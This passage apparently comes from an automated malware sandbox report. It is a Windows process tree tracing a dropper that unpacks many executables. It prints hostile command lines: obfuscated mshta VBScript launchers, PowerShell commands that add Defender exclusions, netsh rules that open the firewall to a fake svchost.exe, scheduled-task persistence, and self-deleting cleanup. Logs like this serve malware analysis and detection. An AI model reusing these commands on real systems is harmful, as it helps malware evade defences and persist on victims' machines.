        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
        7⤵
        
        PID:9172
      - C:\Users\Admin\Pictures\Adobe Films\7ZX8wzTrDJekvFmAL0ZxHN9e.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\7ZX8wzTrDJekvFmAL0ZxHN9e.exe"
        6⤵
        
        PID:1356
        
        C:\Users\Admin\Pictures\Adobe Films\7ZX8wzTrDJekvFmAL0ZxHN9e.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\7ZX8wzTrDJekvFmAL0ZxHN9e.exe"
        7⤵
        
        PID:6332
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed12859e3c1cf63b6a0.exe
      4⤵
      PID:1720
    - - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12859e3c1cf63b6a0.exe
        
        Wed12859e3c1cf63b6a0.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1360
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed120b6f5c6d562.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3016
    - - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed120b6f5c6d562.exe
        
        Wed120b6f5c6d562.exe
        5⤵
        Executes dropped EXE
        
        PID:2844
      - C:\Users\Admin\AppData\Local\Temp\is-F24NM.tmp\Wed120b6f5c6d562.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-F24NM.tmp\Wed120b6f5c6d562.tmp" /SL5="$6005C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed120b6f5c6d562.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3824
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed12fbb08f1dfc28.exe
      4⤵
      PID:1876
    - - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12fbb08f1dfc28.exe
        
        Wed12fbb08f1dfc28.exe
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed12fb2a5c52f05816.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1048
    - - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12fb2a5c52f05816.exe
        
        Wed12fb2a5c52f05816.exe
        5⤵
        Executes dropped EXE
        
        PID:3668
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCripT:cLOSe ( creaTeoBJeCT( "wSCrIpT.shell").RuN ( "CMd.ExE /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12fb2a5c52f05816.exe"" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If """"=="""" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12fb2a5c52f05816.exe"") do taskkill -F -IM ""%~nxE"" " ,0, TRUe ) )
        6⤵
        
        PID:2140
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12fb2a5c52f05816.exe" VAKlCUnlQu.exe&& STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If ""=="" for %E in ( "C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12fb2a5c52f05816.exe") do taskkill -F -IM "%~nxE"
        7⤵
        
        PID:4560
        
        C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe
        
        VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm
        8⤵
        Executes dropped EXE
        
        PID:4660
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCripT:cLOSe ( creaTeoBJeCT( "wSCrIpT.shell").RuN ( "CMd.ExE /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe"" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If ""-PRwIZKFgSE6xyUR7ivEyVbD3Oolfm ""=="""" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe"") do taskkill -F -IM ""%~nxE"" " ,0, TRUe ) )
        9⤵
        
        PID:4776
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe" VAKlCUnlQu.exe&& STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If "-PRwIZKFgSE6xyUR7ivEyVbD3Oolfm "=="" for %E in ( "C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe") do taskkill -F -IM "%~nxE"
        10⤵
        
        PID:5088
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCrIpt: cLoSE ( CREaTEOBjECt( "wSCRiPt.shell" ). RUn ( "cmD.exE /c eCHo | SEt /P = ""MZ"" > s4AW._YK & CoPy /B /y s4aW._YK + 4kt1N2.SAG +JISYX0.0 CFIfB.3 & DEl 4KT1N2.SAG JiSYX0.0 S4AW._YK& STArt msiexec /y .\CFIFB.3 ", 0 ,TRuE) )
        9⤵
        
        PID:4220
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c eCHo | SEt /P = "MZ" > s4AW._YK & CoPy /B /y s4aW._YK+ 4kt1N2.SAG+JISYX0.0 CFIfB.3 & DEl 4KT1N2.SAG JiSYX0.0 S4AW._YK& STArt msiexec /y .\CFIFB.3
        10⤵
        
        PID:1552
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHo "
        11⤵
        
        PID:1020
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>s4AW._YK"
        11⤵
        
        PID:1716
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec /y .\CFIFB.3
        11⤵
        
        PID:6104
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -F -IM "Wed12fb2a5c52f05816.exe"
        8⤵
        Kills process with taskkill
        
        PID:1188
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed129eb9b8859.exe
      4⤵
      PID:1960
    - - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed129eb9b8859.exe
        
        Wed129eb9b8859.exe
        5⤵
        Executes dropped EXE
        
        PID:1972
      - C:\Users\Admin\Pictures\Adobe Films\6UtEPY63asuoHJ3TV54JT1Sa.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6UtEPY63asuoHJ3TV54JT1Sa.exe"
        6⤵
        
        PID:1332
      - C:\Users\Admin\Pictures\Adobe Films\Fpc1bwzElU4ov9tlBlzhrvcm.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Fpc1bwzElU4ov9tlBlzhrvcm.exe"
        6⤵
        
        PID:4432
      - C:\Users\Admin\Pictures\Adobe Films\pyz4lHs3r7BEEwyZt0s72UHr.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\pyz4lHs3r7BEEwyZt0s72UHr.exe"
        6⤵
        
        PID:1476
        
        C:\Users\Admin\Documents\BKiooeVCfuh5qzrloJu7ATsv.exe
        
        "C:\Users\Admin\Documents\BKiooeVCfuh5qzrloJu7ATsv.exe"
        7⤵
        
        PID:10064
        
        C:\Users\Admin\Pictures\Adobe Films\Ci2g9Zosa85VED7AW6LPBR0P.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Ci2g9Zosa85VED7AW6LPBR0P.exe"
        8⤵
        
        PID:5892
        
        C:\Users\Admin\Pictures\Adobe Films\OHYJuPMxZc23CVPTLRAVAYc6.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\OHYJuPMxZc23CVPTLRAVAYc6.exe"
        8⤵
        
        PID:4116
        
        C:\Users\Admin\Pictures\Adobe Films\TcfoJsPVbElWdL8FrW4vKUKq.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\TcfoJsPVbElWdL8FrW4vKUKq.exe"
        8⤵
        
        PID:1420
        
        C:\Users\Admin\Pictures\Adobe Films\PqAsq0aMLXF7cYT9yFiUaTUN.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\PqAsq0aMLXF7cYT9yFiUaTUN.exe"
        8⤵
        
        PID:10008
        
        C:\Users\Admin\Pictures\Adobe Films\ct0MNeilugSvpXTswFQsczzy.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ct0MNeilugSvpXTswFQsczzy.exe"
        8⤵
        
        PID:6192
        
        C:\Users\Admin\Pictures\Adobe Films\XvSyLdYBapHdxjPtr8hpzVWV.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\XvSyLdYBapHdxjPtr8hpzVWV.exe"
        8⤵
        
        PID:5136
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\XvSyLdYBapHdxjPtr8hpzVWV.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\XvSyLdYBapHdxjPtr8hpzVWV.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        9⤵
        
        PID:6292
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\XvSyLdYBapHdxjPtr8hpzVWV.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\XvSyLdYBapHdxjPtr8hpzVWV.exe" ) do taskkill -f -iM "%~NxM"
        10⤵
        
        PID:10344
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "XvSyLdYBapHdxjPtr8hpzVWV.exe"
        11⤵
        Kills process with taskkill
        
        PID:6348
        
        C:\Users\Admin\Pictures\Adobe Films\L590JQSCbaIX5acbHMFgWcTo.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\L590JQSCbaIX5acbHMFgWcTo.exe"
        8⤵
        
        PID:7388
        
        C:\Users\Admin\AppData\Local\Temp\is-PHGI7.tmp\L590JQSCbaIX5acbHMFgWcTo.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-PHGI7.tmp\L590JQSCbaIX5acbHMFgWcTo.tmp" /SL5="$106E8,506127,422400,C:\Users\Admin\Pictures\Adobe Films\L590JQSCbaIX5acbHMFgWcTo.exe"
        9⤵
        
        PID:6104
        
        C:\Users\Admin\AppData\Local\Temp\is-ATBN9.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-ATBN9.tmp\DYbALA.exe" /S /UID=2709
        10⤵
        
        PID:10648
        
        C:\Users\Admin\Pictures\Adobe Films\t1AYTKJIbvg8pn4Ro46PQp2B.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\t1AYTKJIbvg8pn4Ro46PQp2B.exe"
        8⤵
        
        PID:6424
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        9⤵
        
        PID:10724
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:6768
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:5388
      - C:\Users\Admin\Pictures\Adobe Films\tvng9J3f6Ha9Iw7mtgFGOm6h.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\tvng9J3f6Ha9Iw7mtgFGOm6h.exe"
        6⤵
        
        PID:2444
        
        C:\Program Files (x86)\Company\NewProduct\cutm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
        7⤵
        
        PID:5908
      - C:\Users\Admin\Pictures\Adobe Films\pJa6fDF0kzkGEUZHEqeUmqO4.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\pJa6fDF0kzkGEUZHEqeUmqO4.exe"
        6⤵
        
        PID:5096
      - C:\Users\Admin\Pictures\Adobe Films\UsD6AA7r6CCIXfI3aDm2GzYG.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\UsD6AA7r6CCIXfI3aDm2GzYG.exe"
        6⤵
        
        PID:4908
      - C:\Users\Admin\Pictures\Adobe Films\HiiAnEtkscbBQSf79RLxKde2.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\HiiAnEtkscbBQSf79RLxKde2.exe"
        6⤵
        
        PID:4356
        
        C:\Users\Admin\Pictures\Adobe Films\HiiAnEtkscbBQSf79RLxKde2.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\HiiAnEtkscbBQSf79RLxKde2.exe"
        7⤵
        
        PID:5788
      - C:\Users\Admin\Pictures\Adobe Films\zlv4311qcinzA6xlR7K5iMME.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\zlv4311qcinzA6xlR7K5iMME.exe"
        6⤵
        
        PID:4568
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        7⤵
        
        PID:8100
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        8⤵
        Kills process with taskkill
        
        PID:8520
      - C:\Users\Admin\Pictures\Adobe Films\J0TmOkfe_lYnagUaxG5tfpIU.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\J0TmOkfe_lYnagUaxG5tfpIU.exe"
        6⤵
        
        PID:4092
      - C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe"
        6⤵
        
        PID:1364
        
        C:\Users\Admin\AppData\Local\Temp\37e437e5-fce5-4ce5-acac-2ac3be051cb3\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\37e437e5-fce5-4ce5-acac-2ac3be051cb3\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\37e437e5-fce5-4ce5-acac-2ac3be051cb3\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        7⤵
        
        PID:6376
        
        C:\Users\Admin\AppData\Local\Temp\37e437e5-fce5-4ce5-acac-2ac3be051cb3\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\37e437e5-fce5-4ce5-acac-2ac3be051cb3\AdvancedRun.exe" /SpecialRun 4101d8 6376
        8⤵
        
        PID:7780
        
        C:\Users\Admin\AppData\Local\Temp\5dbf7aca-95d0-49f1-9e01-1ed8e1b2b6c8\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5dbf7aca-95d0-49f1-9e01-1ed8e1b2b6c8\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\5dbf7aca-95d0-49f1-9e01-1ed8e1b2b6c8\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        7⤵
        
        PID:5928
        
        C:\Users\Admin\AppData\Local\Temp\5dbf7aca-95d0-49f1-9e01-1ed8e1b2b6c8\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5dbf7aca-95d0-49f1-9e01-1ed8e1b2b6c8\AdvancedRun.exe" /SpecialRun 4101d8 5928
        8⤵
        
        PID:7908
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
        7⤵
        
        PID:8184
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
        7⤵
        
        PID:1460
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        7⤵
        
        PID:5560
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        7⤵
        
        PID:7464
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
        7⤵
        
        PID:7660
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
        7⤵
        
        PID:7556
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"
        7⤵
        
        PID:5700
        
        C:\Users\Admin\AppData\Local\Temp\f806d65d-bd3a-43ff-89d2-c8be8cc999d9\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\f806d65d-bd3a-43ff-89d2-c8be8cc999d9\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\f806d65d-bd3a-43ff-89d2-c8be8cc999d9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        8⤵
        
        PID:9072
        
        C:\Users\Admin\AppData\Local\Temp\f806d65d-bd3a-43ff-89d2-c8be8cc999d9\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\f806d65d-bd3a-43ff-89d2-c8be8cc999d9\AdvancedRun.exe" /SpecialRun 4101d8 9072
        9⤵
        
        PID:9108
        
        C:\Users\Admin\AppData\Local\Temp\7114b15e-3905-43c0-93a5-0913aa9525c1\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7114b15e-3905-43c0-93a5-0913aa9525c1\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\7114b15e-3905-43c0-93a5-0913aa9525c1\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        8⤵
        
        PID:9184
        
        C:\Users\Admin\AppData\Local\Temp\7114b15e-3905-43c0-93a5-0913aa9525c1\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7114b15e-3905-43c0-93a5-0913aa9525c1\AdvancedRun.exe" /SpecialRun 4101d8 9184
        9⤵
        
        PID:6160
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        8⤵
        
        PID:9844
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        8⤵
        
        PID:9884
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        8⤵
        
        PID:10012
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
        8⤵
        
        PID:10184
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
        8⤵
        
        PID:6412
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
        8⤵
        
        PID:9864
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        8⤵
        
        PID:4780
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
        7⤵
        
        PID:7896
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
        7⤵
        
        PID:8084
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
        7⤵
        
        PID:7688
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe"
        7⤵
        
        PID:7336
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"
        7⤵
        
        PID:9124
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe"
        7⤵
        
        PID:5348
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
        7⤵
        
        PID:6904
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        7⤵
        
        PID:5936
      - C:\Users\Admin\Pictures\Adobe Films\rdhqmWlyYpdRdzxhgCjY5AyD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\rdhqmWlyYpdRdzxhgCjY5AyD.exe"
        6⤵
        
        PID:1212
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\rdhqmWlyYpdRdzxhgCjY5AyD.exe" & exit
        7⤵
        
        PID:9052
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        8⤵
        Delays execution with timeout.exe
        
        PID:8752
      - C:\Users\Admin\Pictures\Adobe Films\CKN3kEUOjmw0MDZZHe9DORb0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\CKN3kEUOjmw0MDZZHe9DORb0.exe"
        6⤵
        
        PID:5076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        7⤵
        
        PID:5956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
        7⤵
        
        PID:6008
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        7⤵
        
        PID:5308
        
        C:\Windows\System\svchost.exe
        
        "C:\Windows\System\svchost.exe" formal
        7⤵
        
        PID:6444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        8⤵
        
        PID:7564
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:6396
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:5852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
        8⤵
        
        PID:7508
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
        7⤵
        Creates scheduled task(s)
        
        PID:5852
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        7⤵
        
        PID:6124
      - C:\Users\Admin\Pictures\Adobe Films\51mCVJxmMEnPjCNL_mvyzO6v.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\51mCVJxmMEnPjCNL_mvyzO6v.exe"
        6⤵
        
        PID:2280
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\51mCVJxmMEnPjCNL_mvyzO6v.exe" & exit
        7⤵
        
        PID:6588
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        8⤵
        Delays execution with timeout.exe
        
        PID:9900
      - C:\Users\Admin\Pictures\Adobe Films\KXK2e8uf4S8rnm4oZ_KKlS4Y.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\KXK2e8uf4S8rnm4oZ_KKlS4Y.exe"
        6⤵
        
        PID:4612
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 312
        7⤵
        Program crash
        
        PID:5388
      - C:\Users\Admin\Pictures\Adobe Films\RJzZPQQcrhKmGfmDbWJo1qLU.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\RJzZPQQcrhKmGfmDbWJo1qLU.exe"
        6⤵
        
        PID:4652
        
        C:\Users\Admin\Pictures\Adobe Films\RJzZPQQcrhKmGfmDbWJo1qLU.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\RJzZPQQcrhKmGfmDbWJo1qLU.exe"
        7⤵
        
        PID:3636
      - C:\Users\Admin\Pictures\Adobe Films\ZT24xOVNh8bfXq_27hMF8ZNr.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ZT24xOVNh8bfXq_27hMF8ZNr.exe"
        6⤵
        
        PID:2788
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "ZT24xOVNh8bfXq_27hMF8ZNr.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\ZT24xOVNh8bfXq_27hMF8ZNr.exe" & exit
        7⤵
        
        PID:9120
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "ZT24xOVNh8bfXq_27hMF8ZNr.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:4400
      - C:\Users\Admin\Pictures\Adobe Films\7bBoykoMqFSIZwqF6bAeyBRP.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\7bBoykoMqFSIZwqF6bAeyBRP.exe"
        6⤵
        
        PID:2060
      - C:\Users\Admin\Pictures\Adobe Films\Y6EumvPb2FNj3n2OKsEBBrRL.exe
        
